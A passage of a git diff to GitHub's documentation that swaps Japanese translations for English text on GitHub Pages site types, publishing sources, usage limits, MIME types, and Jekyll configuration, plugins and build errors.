%}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. +There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. -ユーザサイトを公開するには、{% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %} という名前のユーザアカウントが所有するリポジトリを作成する必要があります。 Organization サイトを公開するには、 {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}という名前のOrganizationが所有するリポジトリを作成する必要があります。 {% ifversion fpt or ghec %}カスタムドメインを使用している場合を除き、ユーザサイトと Organization サイトは `http(s)://.github.io` または `http(s)://.github.io` で利用できます。{% elsif ghae %}ユーザサイトと Organization サイトは `http(s)://pages./` または `http(s)://pages./` で利用できます。{% endif %} +To publish a user site, you must create a repository owned by your user account that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://.github.io` or `http(s)://.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages./` or `http(s)://pages./`.{% endif %} -プロジェクトサイトのソースファイルは、プロジェクトと同じリポジトリに保存されます。 {% ifversion fpt or ghec %}カスタムドメインを使用している場合を除き、プロジェクトサイトは `http(s)://.github.io/` または `http(s)://.github.io/` で利用できます。{% elsif ghae %}プロジェクトサイトは `http(s)://pages.///` または `http(s)://pages.///` で利用できます。{% endif %} +The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://.github.io/` or `http(s)://.github.io/`.{% elsif ghae %}Project sites are available at `http(s)://pages.///` or `http(s)://pages.///`.{% endif %} {% ifversion fpt or ghec %} -サイトを非公開で公開する場合、サイトの URL が異なります。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイトの可視性を変更する](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)」を参照してください。 +If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." {% endif %} {% ifversion fpt or ghec %} -カスタムドメインがサイトの URL に与える影響に関する詳しい情報については、「[カスタムドメインと {% data variables.product.prodname_pages %} について](/articles/about-custom-domains-and-github-pages)」を参照してください。 +For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)." {% endif %} -{% data variables.product.product_name %} のアカウントごとに作成できるユーザまたは Organization サイトは 1 つだけです。 プロジェクトサイトの数については、Organization アカウントでもユーザアカウントでも、無制限です。 +You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a user account, are unlimited. {% ifversion ghes %} -サイトが利用できる URL については、{% data variables.product.product_location %} で Subdomain Isolation を有効にしているかどうかで異なります。 +The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.product.product_location %}. -| サイトの種類 | Subdomain Isolation が有効 | Subdomain isolation が無効 | -| ------ | ----------------------- | ----------------------- | -| | | | - ユーザ | +| Type of site | Subdomain isolation enabled | Subdomain isolation disabled | +| ------------ | --------------------------- | ---------------------------- | +User | `http(s)://pages./` | `http(s):///pages/` | +Organization | `http(s)://pages./` | `http(s):///pages/` | +Project site owned by user account | `http(s)://pages.///` | `http(s):///pages///` +Project site owned by organization account | `http(s)://pages.///` | `http(s):///pages///` -`http(s)://pages./` | `http(s):///pages/` | Organization | `http(s)://pages./` | `http(s):///pages/` | ユーザアカウントが所有するプロジェクトサイト | `http(s)://pages.///` | `http(s):///pages///` Organization アカウントが所有するプロジェクトサイト | `http(s)://pages.///` | `http(s):///pages///` - -詳しい情報については、 「[Subdomain Isolation を有効化する](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)」を参照するか、サイト管理者にお問い合わせください。 +For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)" or contact your site administrator. {% endif %} -## {% data variables.product.prodname_pages %} サイトの公開元 +## Publishing sources for {% data variables.product.prodname_pages %} sites -{% data variables.product.prodname_pages %} サイトの公開元は、サイトのソースファイルが保存されているブランチまたはフォルダです。 +The publishing source for your {% data variables.product.prodname_pages %} site is the branch and folder where the source files for your site are stored. {% data reusables.pages.private_pages_are_public_warning %} -デフォルトの公開元がリポジトリに存在する場合、{% data variables.product.prodname_pages %} はそこから自動的にサイトを公開します。 ユーザサイトと Organization サイトのデフォルトの公開元は、リポジトリのデフォルトブランチのルートです。 プロジェクトサイトのデフォルトの公開元は、`gh-pages` ブランチのルートです。 +If the default publishing source exists in your repository, {% data variables.product.prodname_pages %} will automatically publish a site from that source. The default publishing source for user and organization sites is the root of the default branch for the repository. The default publishing source for project sites is the root of the `gh-pages` branch. -サイトのソースファイルを別の場所に保持する場合は、サイトの公開元を変更できます。 リポジトリ内の任意のブランチから、そのブランチのリポジトリのルート、`/`、またはそのブランチの `/docs` フォルダからサイトを公開できます。 詳しい情報については「[{% data variables.product.prodname_pages %} サイトの公開元を設定する](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)」を参照してください。 +If you want to keep the source files for your site in a different location, you can change the publishing source for your site. You can publish your site from any branch in the repository, either from the root of the repository on that branch, `/`, or from the `/docs` folder on that branch. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)." -公開元としていずれかのブランチの `/docs` フォルダを選択した場合{% ifversion fpt or ghec %}、{% data variables.product.prodname_pages %} は`/docs` フォルダから _CNAME_ ファイル{% endif %}を含むサイトを公開するためのすべてを読み取ります。{% ifversion fpt or ghec %}たとえば、{% data variables.product.prodname_pages %} 設定を使用してカスタムドメインを編集すると、カスタムドメインは `/docs/CNAME` に書き込みます。 _CNAME_ ファイルに関する詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。{% endif %} +If you choose the `/docs` folder of any branch as your publishing source, {% data variables.product.prodname_pages %} will read everything to publish your site{% ifversion fpt or ghec %}, including the _CNAME_ file,{% endif %} from the `/docs` folder.{% ifversion fpt or ghec %} For example, when you edit your custom domain through the {% data variables.product.prodname_pages %} settings, the custom domain will write to `/docs/CNAME`. For more information about _CNAME_ files, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} -## 静的サイトジェネレータ +## Static site generators -{% data variables.product.prodname_pages %} は、リポジトリにプッシュされたあらゆる静的ファイルを公開します。 静的ファイルを自分で作成することも、静的サイトジェネレータでサイトをビルドすることも可能です。 ローカルまたは別のサーバー上で独自のビルドプロセスをカスタマイズすることもできます。 {% data variables.product.prodname_pages %} に組み込まれている静的サイトジェネレータで、ビルドプロセスを容易化できる Jekyll のご利用をおすすめします。 詳しい情報については、「[{% data variables.product.prodname_pages %} と Jekyll](/articles/about-github-pages-and-jekyll)」を参照してください。 +{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)." -{% data variables.product.prodname_pages %} は、デフォルトでは Jekyll を使ってサイトを構築します。 Jekyll 以外の静的サイトジェネレータを使いたい場合、公開元のルートに `.nojekyll` という空のファイルを作成し、お使いの静的サイトジェネレータの指示に従ってローカルでサイトをビルドします。 +{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. -{% data variables.product.prodname_pages %} は、PHP、Ruby、Python などのサーバーサイド言語はサポートしていません。 +{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python. ## Limits on use of {% data variables.product.prodname_pages %} {% ifversion fpt or ghec %} -2016 年 6 月 15 日以降に作成され、`github.io` ドメインを使用して作成された {% data variables.product.prodname_pages %} サイトは、HTTPS 経由で配信されます。 2016 年 6 月 15 日までにサイトを作成した場合は、サイトへのトラフィックに対して、HTTPS サポートを有効にすることができます。 詳しい情報については「[HTTPS で{% data variables.product.prodname_pages %}サイトをセキュアにする](/articles/securing-your-github-pages-site-with-https)」を参照してください。 +{% data variables.product.prodname_pages %} sites created after June 15, 2016 and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)." -### 禁止される用途 +### Prohibited uses {% endif %} -{% data variables.product.prodname_pages %} は、オンラインビジネス、eコマースサイト、主に商取引の円滑化またはサービスとしての商用ソフトウェアの提供 (SaaS) のどちらかを目的とする、その他のウェブサイトを運営するための無料のウェブホスティングサービスとしての使用を意図したものではなく、またそのような使用を許可するものでもありません。 {% data reusables.pages.no_sensitive_data_pages %} +{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %} In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get rich quick schemes, sexually obscene content, and violent or threatening content or activity. -### 使用制限 -{% data variables.product.prodname_pages %} サイトには、次の使用制限があります: +### Usage limits +{% data variables.product.prodname_pages %} sites are subject to the following usage limits: - - {% data variables.product.prodname_pages %} ソースリポジトリには、1GB の推奨上限があります。{% ifversion fpt or ghec %}詳しい情報については、「[私のディスク容量はいくつですか？](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations)」を参照してください。{% endif %} - - 公開された{% data variables.product.prodname_pages %}のサイトは1GB以上であってはなりません。 + - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?"](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations){% endif %} + - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB. {% ifversion fpt or ghec %} - - {% data variables.product.prodname_pages %} サイトには、月当たり 100GB の*ソフトな*帯域幅制限があります。 - - {% data variables.product.prodname_pages %} サイトには、時間当たり 10 ビルドの*ソフトな*制限があります。 + - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100GB per month. + - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour. -あなたのサイトがこれらの使用割当量を超えている場合、あなたのサイトにサービスを提供できないか、{% data variables.contact.contact_support %} から、あなたのサイトが当社のサーバーに与える影響を減らす方法を示唆するメールが届くことがあります。そうした方法の例としては、サードパーティのコンテンツ配信ネットワーク (CDN) をサイトの前に配置したり、リリースなどの他の {% data variables.product.prodname_dotcom %} 機能を利用したり、ニーズに合った別のホスティングサービスに移行したりすることなどが挙げられます。 +If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs. {% endif %} -## {% data variables.product.prodname_pages %} での MIME タイプ +## MIME types on {% data variables.product.prodname_pages %} -MIME タイプとは、ブラウザがリクエストするファイルの性質やフォーマットに関する情報を提供するため、サーバーがブラウザに送信するヘッダのことです。 {% data variables.product.prodname_pages %} は、数千のファイル拡張子にわたり、750 を超える MIME タイプをサポートしています。 サポートする MIME タイプのリストは、[mime-db project](https://github.com/jshttp/mime-db) から生成されます。 +A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db). -ファイルごと、リポジトリごとにカスタム MIME タイプを指定することはできませんが、{% data variables.product.prodname_pages %} で使う MIME タイプを追加や変更することは可能です。 詳しい情報については、「[mime-db コントリビューションガイドライン](https://github.com/jshttp/mime-db#adding-custom-media-types)」を参照してください。 +While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). -## 参考リンク +{% ifversion fpt %} +## Data collection -- {% data variables.product.prodname_learning %} の [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) -- 「[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)」 +When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see {% data variables.product.prodname_dotcom %} Privacy Statement. +{% endif %} + +## Further reading + +- [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) on {% data variables.product.prodname_learning %} +- "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)" diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md index 8f4ea82a0d..4cef579a69 100644 --- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md +++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md @@ -1,6 +1,6 @@ --- -title: GitHub PagesとJekyllについて -intro: 'Jekyllは、{% data variables.product.prodname_pages %}のサポートが組み込まれている静的サイトジェネレータです。' +title: About GitHub Pages and Jekyll +intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.' redirect_from: - /articles/about-jekyll-themes-on-github - /articles/configuring-jekyll @@ -26,22 +26,22 @@ versions: ghec: '*' topics: - Pages -shortTitle: GitHub PagesとJekyll +shortTitle: GitHub Pages & Jekyll --- -## Jekyllについて +## About Jekyll -Jekyllは、{% data variables.product.prodname_pages %}に組み込まれている静的サイトジェネレータで、ビルドプロセスを容易化できます。 JekyllはMarkdownおよびHTMLファイルを取り込み、選択したレイアウトに基づいて、完成された静的ウェブサイトを作成します。 Jekyllは、Markdownと、サイトに動的コンテンツを読み込むテンプレート言語のLiquidをサポートします。 詳しい情報については、[Jekyll](https://jekyllrb.com/)を参照してください。 +Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/). -Windows は、Jekyll を公式にはサポートしていません。 詳しい情報については、Jekyll のドキュメントの「[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)」を参照してください。 +Jekyll is not officially supported for Windows. For more information, see "[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)" in the Jekyll documentation. -{% data variables.product.prodname_pages %} ではJekyllを使用することをおすすめします。 お好みに応じて、別の静的サイトジェネレータを使用することも、ローカルまたは別のサーバーにおけるビルドプロセスをカスタマイズすることもできます。 詳しい情報については「[{% data variables.product.prodname_pages %}について](/articles/about-github-pages#static-site-generators)」を参照してください。 +We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)." -## {% data variables.product.prodname_pages %}サイトでJekyllを設定する +## Configuring Jekyll in your {% data variables.product.prodname_pages %} site -*_config.yml*ファイルを編集することにより、サイトのテーマやプラグインなど、Jekyllの設定のほとんどを設定できます。 詳しい情報については、Jekyllのドキュメンテーションの「[Configuration](https://jekyllrb.com/docs/configuration/)」を参照してください。 +You can configure most Jekyll settings, such as your site's theme and plugins, by editing your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. -一部の設定は、{% data variables.product.prodname_pages %}サイトで変更できません。 +Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites. ```yaml lsi: false @@ -56,36 +56,36 @@ kramdown: syntax_highlighter: rouge ``` -デフォルトでは、Jekyllでは以下に当てはまるファイルやフォルダをビルドしません。 -- `/node_modules`または`/vendor`と名付けられたフォルダ内にあるもの -- `_`, `.`, or `#`ではじまるもの -- 次の文字で終わるもの: `~` -- 設定ファイルの`exclude`設定で除外されているもの +By default, Jekyll doesn't build files or folders that: +- are located in a folder called `/node_modules` or `/vendor` +- start with `_`, `.`, or `#` +- end with `~` +- are excluded by the `exclude` setting in your configuration file If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file. -## フロントマター +## Front matter {% data reusables.pages.about-front-matter %} -ポストまたはページに`site.github`を追加して、あらゆるリポジトリリファレンスメタデータをサイトに追加できます。 詳しい情報については、Jekyllメタデータドキュメンテーションの「[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)」を参照してください。 +You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see "[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)" in the Jekyll Metadata documentation. -## テーマ +## Themes -{% data reusables.pages.add-jekyll-theme %}詳しい情報については、Jekyllドキュメンテーションの「[Themes](https://jekyllrb.com/docs/themes/)」を参照してください。 +{% data reusables.pages.add-jekyll-theme %} For more information, see "[Themes](https://jekyllrb.com/docs/themes/)" in the Jekyll documentation. {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} のサイトに、サポートされているテーマを追加できます。 詳しい情報については、{% data variables.product.prodname_pages %} サイトの「[サポートされているテーマ](https://pages.github.com/themes/)」および「[テーマ選択画面を使用して{% data variables.product.prodname_pages %}サイトにテーマを追加する](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)」を参照してください。 +You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and "[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)." To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and{% endif %} "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)." -テーマのファイルを編集することで、テーマのデフォルトを上書きできます。 詳しい情報については、テーマのドキュメンテーションおよびJekyllドキュメンテーションの「[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)」を参照してください。 +You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and "[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" in the Jekyll documentation. -## プラグイン +## Plugins -Jekyllプラグインをダウンロードまたは作成すると、サイトでJekyllの機能を拡張できます。 たとえば、[jemoji](https://github.com/jekyll/jemoji)プラグインを使うと、{% data variables.product.prodname_dotcom %}っぽい絵文字を、{% data variables.product.prodname_dotcom %}で使うのと同じように、サイトの任意のページで使用できます。 詳細については、Jekyllのドキュメンテーションで「[プラグイン](https://jekyllrb.com/docs/plugins/)」を参照してください。 +You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see "[Plugins](https://jekyllrb.com/docs/plugins/)" in the Jekyll documentation. -{% data variables.product.prodname_pages %}で使用されるプラグインはデフォルトで有効になっており、無効にすることはできません。 +{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled: - [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript) - [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout) - [`jekyll-gist`](https://github.com/jekyll/jekyll-gist) @@ -96,25 +96,25 @@ Jekyllプラグインをダウンロードまたは作成すると、サイト - [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings) - [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links) -追加のプラグインは、*config.yml*ファイルでそのプラグインのgemを`プラグイン`設定に追加すると有効にできます。 詳しい情報については、Jekyllのドキュメンテーションの「[Configuration](https://jekyllrb.com/docs/configuration/)」を参照してください。 +You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. -サポートされているプラグインのリストについては、{% data variables.product.prodname_pages %}サイトで「[依存関係のバージョン](https://pages.github.com/versions/)」を参照してください。 特定のプラグインの使い方については、そのプラグインのドキュメンテーションを参照してください。 +For a list of supported plugins, see "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site. For usage information for a specific plugin, see the plugin's documentation. {% tip %} -**ヒント：**{% data variables.product.prodname_pages %} gemを更新していれば、確実に最新のバージョンを使用できます。 詳しい情報については、{% data variables.product.prodname_pages %} サイトの「[Jekyll を使用して GitHub Pages サイトをローカルでテストする](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)」および「[依存関係バージョン](https://pages.github.com/versions/)」を参照してください。 +**Tip:** You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see "[Testing your GitHub Pages site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" and "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site. {% endtip %} -{% data variables.product.prodname_pages %}は、サポートされていないプラグインを使用してサイトをビルドすることはできません。 サポートされていないプラグインを使用するには、ローカルでサイトを生成してから、サイトの静的ファイルを{% data variables.product.product_name %}にプッシュできます。 +{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.product_name %}. -## 構文の強調表示 +## Syntax highlighting -サイトを読みやすくするには、{% data variables.product.product_name %}で強調表示されるのと同じように、{% data variables.product.prodname_pages %}サイトでコードスニペットを強調表示します。 {% data variables.product.product_name %}における構文の強調表示については、「[コードブロックの作成と強調表示](/articles/creating-and-highlighting-code-blocks)」を参照してください。 +To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)." -デフォルトでは、サイトのコードブロックはJekyllによって強調表示されます。 Jekyllは、[Rouge](https://github.com/jneen/rouge)ハイライターを使用します。これは[Pygments](http://pygments.org/)と互換性があります。 *_config.yml*ファイルでPygmentsを指定した場合、かわりにRougeが使用されます。 Jekyllはこれ以外の構文ハイライターを使用できないため、*_config.yml*ファイルで他の構文ハイライターを指定すると、ページビルド警告が発生します。 詳細については、「[{% data variables.product.prodname_pages %}サイトのJekyllビルドエラーについて](/articles/about-jekyll-build-errors-for-github-pages-sites)」を参照してください。 +By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)." -`highlight.js`など、他のハイライターを使用したい場合は、プロジェクトの*_config.yml*ファイルを更新して、Jekyllの構文強調表示を無効にする必要があります。 +If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file. ```yaml kramdown: @@ -122,12 +122,12 @@ kramdown: disable : true ``` -お使いテーマに構文強調表示のCSSが含まれていない場合は、{% data variables.product.prodname_dotcom %}の構文強調表示CSSを生成し、プロジェクトの`style.css`ファイルに追加することができます。 +If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file. ```shell $ rougify style github > style.css ``` -## サイトをローカルでビルドする +## Building your site locally {% data reusables.pages.test-locally %} diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md index 1f00fb501c..0a8646cfee 100644 --- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md +++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md @@ -1,6 +1,6 @@ --- -title: GitHub PagesサイトのJekyllビルドエラーについて -intro: 'ローカルで、または{% data variables.product.product_name %}上で{% data variables.product.prodname_pages %}サイトをビルド中にJekyllでエラーが発生した場合には、詳細情報を伴うエラーメッセージが示されます。' +title: About Jekyll build errors for GitHub Pages sites +intro: 'If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you''ll receive an error message with more information.' redirect_from: - /articles/viewing-jekyll-build-error-messages/ - /articles/generic-jekyll-build-failures/ @@ -14,51 +14,51 @@ versions: ghec: '*' topics: - Pages -shortTitle: PagesのJekyllビルドエラー +shortTitle: Jekyll build errors for Pages --- -## Jekyllのビルドエラーについて +## About Jekyll build errors -サイトの公開元に変更をプッシュした後で、{% data variables.product.prodname_pages %}がサイトのビルドを試行しない場合があります。{% ifversion fpt or ghec %} -- 変更をプッシュしたユーザーがメールアドレスを検証していない。 詳しい情報については、「[メールアドレスの検証](/articles/verifying-your-email-address)」を参照してください。{% endif %} -- デプロイキーでプッシュしている。 サイトのリポジトリへのプッシュを自動化する場合は、かわりにマシンユーザーを設定できます。 詳しい情報については、「[デプロイキーを管理する](/developers/overview/managing-deploy-keys#machine-users)」を参照してください。 -- 公開元をビルドするようにCIサービスを設定していない。 たとえば、Travis CI は `gh-pages` ブランチを、セーフリストに追加しない限りビルドしません。 詳細は、Travis CIまたはCIサービスのドキュメンテーションで、「[ビルドのカスタマイズ](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)」を参照してください。 +Sometimes, {% data variables.product.prodname_pages %} will not attempt to build your site after you push changes to your site's publishing source.{% ifversion fpt or ghec %} +- The person who pushed the changes hasn't verified their email address. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} +- You're pushing with a deploy key. If you want to automate pushes to your site's repository, you can set up a machine user instead. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#machine-users)." +- You're using a CI service that isn't configured to build your publishing source. For example, Travis CI won't build the `gh-pages` branch unless you add the branch to a safe list. For more information, see "[Customizing the build](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)" on Travis CI, or your CI service's documentation. {% note %} -**メモ:** サイトに対する変更は、その変更を{% data variables.product.product_name %}にプッシュしてから公開されるまでに、最大20分かかることがあります。 +**Note:** It can take up to 20 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}. {% endnote %} -Jekyllがサイトのビルドを試行せず、エラーが発生した場合は、ビルドエラーメッセージが表示されます。 Jekyll ビルドエラーメッセージには主に 2 つのタイプがあります。 -- 「Page build warning」メッセージは、ビルドは成功したものの、今後問題が生じないようにするために変更を行なう必要がある可能性が存在することを意味します。 -- 「Page build failed」メッセージは、ビルドが完了できなかったことを意味します。 Jekyll が失敗の理由を検出できた場合、説明を含むエラーメッセージが表示されます。 +If Jekyll does attempt to build your site and encounters an error, you will receive a build error message. There are two main types of Jekyll build error messages. +- A "Page build warning" message means your build completed successfully, but you may need to make changes to prevent future problems. +- A "Page build failed" message means your build failed to complete. If Jekyll is able to detect a reason for the failure, you'll see a descriptive error message. -ビルドエラーのトラブルシューティングに関する詳しい情報については、「[{% data variables.product.prodname_pages %} サイトの Jekyll ビルドエラーのトラブルシューティング](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)」を参照してください。 +For more information about troubleshooting build errors, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)." -## Jekyll ビルドエラーメッセージを表示する +## Viewing Jekyll build error messages -サイトのテストをローカルで行なうことをお勧めします。それにより、ビルドエラーメッセージをコマンドラインで表示でき、変更を {% data variables.product.product_name %} にプッシュする前に、あらゆるビルドエラーに対処できます。 詳しい情報については、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトをローカルでテストする](/articles/testing-your-github-pages-site-locally-with-jekyll)」を参照してください。 +We recommend testing your site locally, which allows you to see build error messages on the command line, and addressing any build failures before pushing changes to {% data variables.product.product_name %}. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with 